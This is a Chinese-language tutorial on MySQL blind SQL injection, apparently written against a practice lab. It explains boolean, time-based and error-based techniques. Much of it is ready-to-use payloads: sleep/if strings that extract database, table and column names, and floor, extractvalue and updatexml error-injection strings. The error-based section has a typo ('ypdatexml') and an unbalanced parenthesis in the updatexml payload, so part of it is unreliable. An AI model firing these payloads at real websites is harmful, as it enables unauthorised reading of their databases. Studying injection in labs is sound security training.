MySQL盲注
mysql数据库网站后台语句:
select 查询数据
在网站应用中进行数据查询显示
例:select * from 表名 where id=$id
insert 插入语句
在网站应用中进行用户注册添加等操作
例:insert into 表名(id,url,text) values(2,'x','$t')
delete 删除数据
后台删除文章删除用户等操作
例:delete from 表名 where id=$id
update 更新数据
后台数据同步或缓存等操作
例:update user set pwd='$p' where id=2 and username='admin'
三种盲注方式
基于布尔的sql盲注—逻辑判断
regexp,like,ascii,left,ord,mid
regexp '^xiaoxian[a-z]' #匹配xiaoxian以及xiaoxian...等
like 'x%' #判断x或x...是否成立
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
left(a,b) #从左侧截取a的前b位
mid(a,b,c) #从位置b开始,截取a字符串的c位
基于时间的sql盲注—延时判断
if,sleep
if(条件,5,0) #条件成立 返回5 否则 返回0
sleep(5) #sql语句延迟五秒执行
payload:
1.判断数据库名长度
id=1 and sleep(if(length(database())>=8,5,0)) --+
2.逐一判断数据库名
id=1 and sleep(if(mid(database(),1,1)='s',5,0)) --+
也可以用ascii码判断(s的ascii码=115)
id=1 and sleep(if(ascii(mid(database(),1,1))=115,5,0)) --+
3.确定数据库名
id=1 and sleep(if(database()='security',5,0)) --+
4.确定表名
id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1,1)=101,sleep(5),0) --+
limit 0,1 第一个表名
limit 1,1 第二个表名
limit 2,1 第三个表名
............
5.确定列名
id=1 and if(ascii(mid((select column_name from information_schema.columns where table_name='表名' limit 0,1)),1,1)=101,sleep(5),0) --+
基于报错的sql盲注—报错回显
floor,ypdatexml,extractvalue
参考:
concat() 函数 #将多个字符串连接成一个字符串
返回结果为连接参数产生的字符串;如有任何一个参数为NULL ,则返回值为 NULL
mysql> select concat('张三','李四','王五');
result> 张三李四王五mysql> select concat('张三','李四',NULL);
result> NUll
1、通过floor报错注入语句如下:
payload:
usernamer=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a) or '
select concat()示意:
若想了解floor报错原理可前往Mysql报错注入之floor(rand(0)*2)报错原理探究-CSDN博客
2、通过ExtractValue报错注入语句如下:
payload:
usernamer=x' or extractvalue(1,concat(0x7e,version())) or '
3、通过UpdateXml报错注入语句如下:
payload:
usernamer=x' or updatexml(1,concat(0x7e,version())),0) or '